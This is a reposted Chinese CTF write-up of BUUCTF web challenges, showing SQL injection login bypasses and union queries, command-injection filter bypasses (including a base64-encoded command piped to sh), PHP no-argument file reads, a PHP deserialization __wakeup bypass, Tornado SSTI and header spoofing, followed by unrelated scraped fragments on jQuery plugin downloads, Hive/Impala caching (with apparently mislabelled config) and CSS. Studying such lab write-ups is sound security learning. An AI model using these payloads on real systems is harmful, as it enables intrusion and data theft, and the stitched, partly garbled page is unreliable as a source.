print_r(scandir(current(localeconv())));print_r(scandir(pos(localeconv()))); 第二步：读取flag所在的数组 之后我们利用array_reverse() 将数组内容反转一下，利用next()指向flag.php文件==>highlight_file()高亮输出 payload: ?exp=show_source(next(array_reverse(scandir(pos(localeconv()))))); [De1CTF 2019]SSRF Me 首先得到提示 还有源码 进入题目链接 得到一串py 经过整理后 ! /usr/bin/env pythonencoding=utf-8from flask import Flaskfrom flask import requestimport socketimport hashlibimport urllibimport sysimport osimport jsonreload(sys)sys.setdefaultencoding('latin1')app = Flask(__name__)secert_key = os.urandom(16)class Task:def __init__(self, action, param, sign, ip):python得构造方法self.action = actionself.param = paramself.sign = signself.sandbox = md5(ip)if(not os.path.exists(self.sandbox)): SandBox For Remote_Addros.mkdir(self.sandbox)def Exec(self):定义的命令执行函数，此处调用了scan这个自定义的函数result = {}result['code'] = 500if (self.checkSign()):if "scan" in self.action:action要写scantmpfile = open("./%s/result.txt" % self.sandbox, 'w')resp = scan(self.param) 此处是文件读取得注入点if (resp == "Connection Timeout"):result['data'] = respelse:print resp 输出结果tmpfile.write(resp)tmpfile.close()result['code'] = 200if "read" in self.action:action要加readf = open("./%s/result.txt" % self.sandbox, 'r')result['code'] = 200result['data'] = f.read()if result['code'] == 500:result['data'] = "Action Error"else:result['code'] = 500result['msg'] = "Sign Error"return resultdef checkSign(self):if (getSign(self.action, self.param) == self.sign): !!!校验return Trueelse:return Falsegenerate Sign For Action Scan.@app.route("/geneSign", methods=['GET', 'POST']) !!!这个路由用于测试def geneSign():param = urllib.unquote(request.args.get("param", "")) action = "scan"return getSign(action, param)@app.route('/De1ta',methods=['GET','POST'])这个路由是我萌得最终注入点def challenge():action = urllib.unquote(request.cookies.get("action"))param = urllib.unquote(request.args.get("param", ""))sign = urllib.unquote(request.cookies.get("sign"))ip = request.remote_addrif(waf(param)):return "No Hacker!!!!"task = Task(action, param, sign, ip)return json.dumps(task.Exec())@app.route('/')根目录路由，就是显示源代码得地方def index():return open("code.txt","r").read()def scan(param):这是用来扫目录得函数socket.setdefaulttimeout(1)try:return urllib.urlopen(param).read()[:50]except:return "Connection Timeout"def getSign(action, param):!!!这个应该是本题关键点,此处注意顺序先是param后是actionreturn hashlib.md5(secert_key + param + action).hexdigest()def md5(content):return hashlib.md5(content).hexdigest()def waf(param):这个waf比较没用好像check=param.strip().lower()if check.startswith("gopher") or check.startswith("file"):return Trueelse:return Falseif __name__ == '__main__':app.debug = Falseapp.run(host='0.0.0.0') 相关函数 作用 init(self, action, param, …) 构造方法self代表对象,其他是对象的属性 request.args.get(param) 提取get方法传入的，参数名叫param对应得值 request.cookies.get(“action”) 提取cookie信息中的，名为action得对应值 hashlib.md5().hexdigest() hashlib.md5()获取一个md5加密算法对象，hexdigest()是获得加密后的16进制字符串 urllib.unquote(） 将url编码解码 urllib.urlopen() 读取网络文件参数可以是url json.dumps Python 对象编码成 JSON 字符串 这个题先放一下… [极客大挑战 2019]EasySQL 进入题目链接 直接上万能密码 用户随意 admin1' or 1; 得到flag flag{7fc65eb6-985b-494a-8225-de3101a78e89} [极客大挑战 2019]Havefun 进入题目链接 老套路 去F12看看有什么东西 很好 逮住了 获取FLAG的条件是cat=dog，且是get传参 flag就出来了 flag{779b8bac-2d64-4540-b830-1972d70a2db9} [极客大挑战 2019]Secret File 进入题目链接 老套路 先F12查看 发现超链接 直接逮住 既然已经查阅结束了 中间就肯定有一些我们不知道的东西 过去了 上burp看看情况 我们让他挺住 逮住了：secr3t.php 访问一下 简单的绕过 就可以了 成功得到一串字符 进行base解密即可 成功逮住flag flag{ed90509e-d2d1-4161-ae99-74cd27d90ed7} [ACTF2020 新生赛]Include 根据题目信息 是文件包含无疑了 直接点击进来 用php伪协议 绕过就可以了 得到一串编码 base64解密即可 得到flag flag{c09e6921-0c0e-487e-87c9-0937708a78d7} 2018]easy_tornado 都点击一遍 康康 直接filename变量改为：fllllllllllllag 报错了 有提示 render() 是一个渲染函数 具体看这里 就用到SSTI模板注入了 具体看这里 尝试模板注入： /error?msg={ {1} } 发现存在模板注入 md5(cookie_secret+md5(filename)) 分析题目： 1.tornado是一个python的模板，可能会产生SSTI注入漏洞2.flag在/fllllllllllllag中3.render是python中的一个渲染函数，也就是一种模板，通过调用的参数不同，生成不同的网页4.可以推断出filehash的值为md5(cookie_secret+md5(filename)) 根据目前信息，想要得到flag就需要获取cookie_secret 因为tornado存在模版注入漏洞，尝试通过此漏洞获取到所需内容 根据测试页面修改msg得值发现返回值 可以通过msg的值进行修改,而在 taornado框架中存在cookie_secreat 可以通过/error?msg={ {handler.settings} }拿到secreat_cookie 综合以上结果 拿脚本跑一下 得到filehash: ed75a45308da42d3fe98a8f15a2ad36a 一直跑不出来 不知道为啥子 [极客大挑战 2019]LoveSQL 万能密码尝试 直接上万能密码 用户随意 admin1' or 1; 开始正常注入： 查字段：1' order by 3 经过测试 字段为3 查看回显:1’ union select 1,2,3 查数据库 1' union select 1,2,group_concat(schema_name) from information_schema.schemata 查表： [GXYCTF2019]Ping Ping Ping 考察：RCE的防护绕过 直接构造：?ip=127.0.0.1;ls 简单的fuzz一下 就发现=和$没有过滤 所以想到的思路就是使用$IFS$9代替空格，使用拼接变量来拼接出Flag字符串： 构造playload ?ip=127.0.0.1;a=fl;b=ag;cat$IFS$9$a$b 看看他到底过滤了什么：?ip=127.0.0.1;cat$IFS$1index.php 一目了然过滤了啥，flag字眼也过滤了，bash也没了，不过sh没过滤： 继续构造payload： ?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh 查看源码，得到flag flag{1fe312b4-96a0-492d-9b97-040c7e333c1a} [RoarCTF 2019]Easy Calc 进入题目链接 查看源码 发现calc.php 利用PHP的字符串解析特性Bypass，具体看这里 HP需要将所有参数转换为有效的变量名，因此在解析查询字符串时，它会做两件事： 1.删除空白符2.将某些字符转换为下划线（包括空格） scandir()：列出参数目录中的文件和目录 发现/被过滤了 ，可以用chr('47')代替 calc.php? num=1;var_dump(scandir(chr(47))) 这里直接上playload calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) flag{76243df6-aecb-4dc5-879e-3964ec7485ee} [极客大挑战 2019]Knife 进入题目链接 根据题目Knife 还有这个一句话木马 猜想尝试用蚁剑连接 测试连接成功 确实是白给了flag [ACTF2020 新生赛]Exec 直接ping 发现有回显 构造playload： 127.0.0.1;cat /flag 成功拿下flag flag{7e582f16-2676-42fa-8b9d-f9d7584096a6} [极客大挑战 2019]PHP 进入题目链接 它提到了备份文件 就肯定是扫目录 把源文件的代码 搞出来 上dirsearch 下载看这里 很简单的使用方法 用来扫目录 -u 指定url -e 指定网站语言 -w 可以加上自己的字典，要带路径 -r 递归跑(查到一个目录后，重复跑) 打开index.php文件 分析这段内容 1.加载了一个class.php文件 2.采用get方式传递一个select参数 3.随后将之反序列化 打开class.php <?phpinclude 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();} }}?> 根据代码的意思可以知道，如果password=100，username=admin 在执行_destruct()的时候可以获得flag 构造序列化 <?phpclass Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;} }$a = new Name('admin', 100);var_dump(serialize($a));?> 得到了序列化 O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;} 但是 还有要求 1.跳过__wakeup()函数 在反序列化字符串时，属性个数的值大于实际属性个数时，就可以 2.private修饰符的问题 private 声明的字段为私有字段，只在所声明的类中可见，在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时，类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度 构造最终的playload ?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;} [极客大挑战 2019]Http 进入题目链接 查看 源码 发现了 超链接的标签 说我们不是从https://www.Sycsecret.com访问的 进入http://node3.buuoj.cn:27883/Secret.php 抓包修改一下Referer 执行一下 随后提示我们浏览器需要使用Syclover， 修改一下User-Agent的内容 就拿到flag了 [HCTF 2018]admin 进入题目链接 这道题有三种解法 1.flask session 伪造 2.unicode欺骗 3.条件竞争 发现 登录和注册功能 随意注册一个账号啦 登录进来之后 登录 之后 查看源码 发现提示 猜测 我们登录 admin账号 即可看见flag 在change password页面发现 访问后 取得源码 第一种方法： flask session 伪造 具体，看这里 flask中session是存储在客户端cookie中的，也就是存储在本地。flask仅仅对数据进行了签名。众所周知的是，签名的作用是防篡改，而无法防止被读取。而flask并没有提供加密操作，所以其session的全部内容都是可以在客户端读取的，这就可能造成一些安全问题。 [极客大挑战 2019]BabySQL 进入题目链接 对用户名进行测试 发现有一些关键字被过滤掉了 猜测后端使用replace()函数过滤 11' oorr 1=1 直接尝试双写 万能密码尝试 双写 可以绕过 查看回显： 1' uniunionon selselectect 1,2,3 over！正常 开始注入 爆库 爆列 爆表 爆内容 本篇文章为转载内容。原文链接：https://blog.csdn.net/wo41ge/article/details/109162753。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...储架构概念，它以原始格式（如CSV、JSON、Parquet等）集中存储大量结构化、半结构化和非结构化数据，并允许用户按需进行数据处理和分析。在大数据环境中，Sqoop可以将关系型数据库中的数据抽取到HDFS或云存储服务中，构建企业的数据湖，便于后续使用Spark、Hive等多种工具进行进一步的数据探索和应用开发。 Hive表 , Apache Hive是一个基于Hadoop的数据仓库工具，提供了一种SQL-like查询语言（HiveQL）以支持对存储在Hadoop文件系统中的数据进行读取、写入和管理。在Sqoop使用场景中，通过--hive-import选项可以直接将导入的数据转换为Hive表结构，并存储在Hive Metastore中，使得传统数据库中的结构化数据能够无缝融入大数据分析生态，供数据分析人员使用熟悉的SQL语句进行查询和分析操作。

...种浏览器环境下（包括不支持原生placeholder属性的老旧浏览器）实现一致且生动的打字动画占位符特效。 点我下载 文件大小：39.52 KB 您将下载一个JQuery插件资源包，该资源包内部文件的目录结构如下： 本网站提供JQuery插件下载功能，旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容，请立即告知我们，我们将迅速响应并删除相关内容。 免责声明：站内所有资源仅供个人学习研究及参考之用，严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果，由使用者承担责任。

...。jSlides不仅支持基础的幻灯片滑动功能，还特别擅长呈现带缩略图导航的交互式体验，用户可以通过点击缩略图来轻松控制主幻灯片区域的内容切换，从而实现交叉滑动的视觉效果。这款插件设计精良，兼容性良好，即使在不支持CSS3新特性的老旧浏览器环境下，也能确保一定程度上的优雅降级。其简洁的API接口使得开发者可以方便地自定义幻灯片的各种参数与行为，比如动画速度、切换方式等，以满足多元化的网页设计需求。总之，jSlides作为一款集美观与实用性于一体的jQuery幻灯片插件，是打造高端网页视觉体验的理想工具之一。 点我下载 文件大小：222.33 KB 您将下载一个JQuery插件资源包，该资源包内部文件的目录结构如下： 本网站提供JQuery插件下载功能，旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容，请立即告知我们，我们将迅速响应并删除相关内容。 免责声明：站内所有资源仅供个人学习研究及参考之用，严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果，由使用者承担责任。

...优化，确保即使在这些不支持CSS3动画的环境下，也能顺利地实现图片的旋转效果。通过智能的回退机制，当遇到不支持CSS3的浏览器时，如IE6，jQueryRotate.js会利用Canvas或VML技术来渲染旋转的图片，保证了在各种旧版浏览器中的良好显示。用户无需担心不同浏览器之间的兼容性问题，只需几行简单的代码，就能轻松实现图片以任意角度的动态旋转，增强了网站的视觉吸引力和用户体验。这款插件的优势在于其轻量级设计，易于集成到项目中，同时代码结构清晰，使得维护和定制变得相当方便。无论是用于网站的头像旋转、产品展示还是其他需要图片旋转的应用场景，jQueryRotate.js都是一个可靠的选择。总的来说，它是一款实用且现代与古老浏览器兼顾的图片旋转解决方案。 点我下载 文件大小：65.02 KB 您将下载一个JQuery插件资源包，该资源包内部文件的目录结构如下： 本网站提供JQuery插件下载功能，旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容，请立即告知我们，我们将迅速响应并删除相关内容。 免责声明：站内所有资源仅供个人学习研究及参考之用，严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果，由使用者承担责任。

...题。它智能检测并适配不支持CSS3属性的老旧浏览器，确保在各种环境下都能展现出优雅的回退方案，保证用户体验的连贯性和一致性。开发者可以方便地通过简单的配置参数来调整背景图片的滚动速度、方向等特性，赋予网页动态且富有创意的设计元素。此外，该插件轻量级的特性确保了加载速度和执行效率，使得ParallaxImageScroll成为网页设计师和前端开发人员打造高端、互动网站背景效果的理想工具。 点我下载 文件大小：674.08 KB 您将下载一个JQuery插件资源包，该资源包内部文件的目录结构如下： 本网站提供JQuery插件下载功能，旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容，请立即告知我们，我们将迅速响应并删除相关内容。 免责声明：站内所有资源仅供个人学习研究及参考之用，严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果，由使用者承担责任。

...更多灵活性或者需要在不支持CSS3动画的老旧浏览器中保持兼容性的场景。通过Move.js，开发者可以轻松地创建复杂的动画序列，如元素的移动（平移）、变形（缩放、拉伸）、倾斜（旋转X轴、Y轴）、背景颜色的渐变以及3D旋转等丰富的视觉效果。它的一大亮点是支持easing函数的使用，这使得动画在速度变化上能够实现更加平滑和自然的过渡效果，比如缓入缓出、弹性回弹等。开发者无需深入掌握CSS3动画的所有细节，只需利用Move.js提供的简洁API，即可快速编写出高性能且易于维护的JavaScript动画代码。这款插件极大地简化了Web开发中的动画制作流程，并有助于提升用户体验与网页动态交互的表现力。 点我下载 文件大小：30.19 KB 您将下载一个JQuery插件资源包，该资源包内部文件的目录结构如下： 本网站提供JQuery插件下载功能，旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容，请立即告知我们，我们将迅速响应并删除相关内容。 免责声明：站内所有资源仅供个人学习研究及参考之用，严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果，由使用者承担责任。

...质的展现效果，即使在不支持JavaScript的环境下也能保证基础的可访问性。总之，这款FAQ问答页面模板凭借其实用的功能布局和先进的前端技术应用，为快速搭建专业级FAQ系统提供了强有力的支持，是各类项目追求用户体验优化的理想选择。 点我下载 文件大小：56.67 KB 您将下载一个JQuery插件资源包，该资源包内部文件的目录结构如下： 本网站提供JQuery插件下载功能，旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容，请立即告知我们，我们将迅速响应并删除相关内容。 免责声明：站内所有资源仅供个人学习研究及参考之用，严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果，由使用者承担责任。

...引力。它的核心特点是支持鼠标操作，使得弹出窗口在展示信息或执行特定任务时更加直观和生动。尽管专注于3D体验，Popup.js也非常注重浏览器兼容性，特别适合那些需要与旧版IE8及后续版本保持一致的项目。在不支持CSS33D效果的浏览器上，它能够优雅地降级，以确保所有用户都能享受到良好的用户体验，而不仅仅是现代浏览器用户。使用Popup.js，开发者可以轻松地在网站中添加信息提示、对话框或者轻量级的弹出窗口，而无需担心性能或兼容性问题。无论是需要创建教育性的教程、提示重要信息，还是提升应用的UI交互，这个插件都能提供简洁而高效的解决方案。无论是在个人项目还是商业环境中，它都是一个值得考虑的选择。 点我下载 文件大小：41.91 KB 您将下载一个JQuery插件资源包，该资源包内部文件的目录结构如下： 本网站提供JQuery插件下载功能，旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容，请立即告知我们，我们将迅速响应并删除相关内容。 免责声明：站内所有资源仅供个人学习研究及参考之用，严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果，由使用者承担责任。

...觉上的享受。即使是在不支持CSS3的老旧浏览器如IE8中，Smoothbox也能智能降级，采用其他方式保证基本功能的正常运行，确保广泛的兼容性。此外，Smoothbox还提供了丰富的配置选项，允许开发者根据自己的需求调整弹出窗口的样式、动画速度等参数，以满足不同的项目要求。无论是展示产品图集、作品集，还是新闻照片墙，Smoothbox都能轻松胜任，成为网页设计中不可或缺的工具之一。 点我下载 文件大小：228.11 KB 您将下载一个JQuery插件资源包，该资源包内部文件的目录结构如下： 本网站提供JQuery插件下载功能，旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容，请立即告知我们，我们将迅速响应并删除相关内容。 免责声明：站内所有资源仅供个人学习研究及参考之用，严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果，由使用者承担责任。

...灵活性，它能在浏览器不支持CSS模糊滤镜的情况下，自动切换至Canvas技术，确保在所有设备上都能呈现出一致的模糊效果。使用Blurify.js，你可以快速地将任何图片元素转换为模糊状态，只需简单的几行代码即可完成。插件的设计理念在于简化操作流程，即使是没有深厚编程基础的用户也能轻松上手。此外，Blurify.js还提供了丰富的自定义选项，允许用户调整模糊的程度、边缘平滑度等参数，以满足不同设计需求。无论你是想为背景图添加梦幻效果，还是希望突出显示特定区域，Blurify.js都能帮你实现目标，让网页设计更加丰富多彩。总之，Blurify.js凭借其小巧的体积、强大的功能以及良好的兼容性，在众多图片模糊效果插件中脱颖而出，成为提升网页视觉效果的理想选择。无论是用于创建动态背景、焦点图，还是增强用户体验，Blurify.js都是你不可多得的好帮手。 点我下载 文件大小：55.59 KB 您将下载一个JQuery插件资源包，该资源包内部文件的目录结构如下： 本网站提供JQuery插件下载功能，旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容，请立即告知我们，我们将迅速响应并删除相关内容。 免责声明：站内所有资源仅供个人学习研究及参考之用，严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果，由使用者承担责任。

...风格需求。此外，它还支持tooltip功能，能够在滑动操作时展示清晰的提示信息，提升用户体验。开发者通过npm或bower包管理工具即可便捷安装该插件，并且在项目中只需引入相应的CSS和JS文件后即可开始调用。值得注意的是，尽管名为jQuery插件，但它同时支持纯JavaScript方式的操作，确保了更广泛的兼容性和灵活性。此bootstrap-slider插件专注于现代浏览器的优化体验，不支持IE9及以下版本，确保在最新及主流浏览器上能够展现出流畅且美观的交互效果。无论是在产品配置界面、数据过滤模块还是多媒体播放器中，这款插件都能为用户提供直观且具有吸引力的滑动交互体验。"总结起来，这款BootstrapjQuery滑块插件是一个功能强大且极具视觉吸引力的选择，旨在帮助开发者快速构建出既实用又符合现代审美的滑动选择器组件。 点我下载 文件大小：67.11 KB 您将下载一个JQuery插件资源包，该资源包内部文件的目录结构如下： 本网站提供JQuery插件下载功能，旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容，请立即告知我们，我们将迅速响应并删除相关内容。 免责声明：站内所有资源仅供个人学习研究及参考之用，严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果，由使用者承担责任。

...定图片。它的特色在于支持半透明背景色，这使得图片在画廊中的呈现更加优雅，同时搭配淡入淡出的动画过渡效果，增添了视觉上的流畅感。这种动态展示方式提升了用户的交互体验，并且易于定制，允许开发者根据需要调整背景颜色和动画设置。无论是在个人博客、产品展示还是在线艺术画廊，jQueryGallerybox都能有效地提升图片内容的吸引力。其跨平台兼容性和响应式特性使其成为构建现代网站时的理想选择。尽管不支持IE8及以下版本，但考虑到其优势，对于大多数现代项目来说，这通常不是问题。总之，这款插件是提升网站视觉冲击力和用户互动体验的理想工具。 点我下载 文件大小：1.01 MB 您将下载一个JQuery插件资源包，该资源包内部文件的目录结构如下： 本网站提供JQuery插件下载功能，旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容，请立即告知我们，我们将迅速响应并删除相关内容。 免责声明：站内所有资源仅供个人学习研究及参考之用，严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果，由使用者承担责任。

...he.hadoop.hive.serde2.columnar.ColumnarSerDe'); INSERT INTO TABLE t1 SELECT i, 'a' FROM generate_series(1, 10000)i; 上述代码创建了一个包含10000行的测试表t1，然后插入了一些测试数据。如果咱时常得从这个表格里头查数据，那咱们可以琢磨一下用分片缓存这招来给查询速度提提速。 sql SET hive.cbo.enable=true; SET hive.cbo.cacheIntermediateAggregates=true; 设置上述参数后，Hive会对聚合操作的结果进行缓存，从而提高查询速度。 二、如何优化Impala的缓存策略 对于Impala来说，优化缓存策略的关键在于合理分配内存资源，并选择合适的缓存类型。 1. 合理分配内存资源 Impala的默认配置可能会导致内存资源被过度占用，从而影响其他应用程序的运行。因此，我们需要根据实际需求调整Impala的内存配置。 bash set hive.exec.mode.local.auto=false; 不自动转成本地模式 set hive.server2.thrift.min.worker.threads=8; 增加线程数量 set hive.server2.thrift.max.worker.threads=64; 增加线程数量 上述代码通过修改Impala的配置文件来增加线程数量，从而提高内存利用率。 2. 选择合适的缓存类型 Impala提供了多种类型的缓存，包括基于表的缓存、基于查询的缓存和分区级缓存等。我们需要根据实际情况选择最合适的缓存类型。 sql CREATE TABLE t2 (a INT, b STRING) WITH CACHED AS SELECT FROM t1 WHERE b = 'a'; 上述代码创建了一个包含测试数据的新表t2，并将其缓存在内存中。由于t2表中的数据只包含一条记录，因此我们选择基于查询的缓存类型。 三、总结 通过本文的介绍，您应该对Impala的缓存策略有了更深入的理解，并学习到了一些优化缓存策略的方法。在实际动手操作的时候，我们得灵活应对，针对不同的应用场景做出适当的调整，这样才能确保效果杠杠的。

...on-style属性支持"dotted"、"dashed"、"solid"、"double"、"wavy"等多种样式，使得网页设计师能够根据需求创建更具创意和个性化的文字装饰效果。 此外，在实际项目中，为了确保跨浏览器兼容性和无障碍访问性，设计师还需要关注这些新特性的实际支持情况，合理搭配旧版CSS属性以保证在不同环境下的良好展示。通过深入学习和实践这些先进的CSS技术，不仅可以丰富网页的视觉表现力，更能有效提高网站的可用性和可访问性，从而为用户带来更为优质的浏览体验。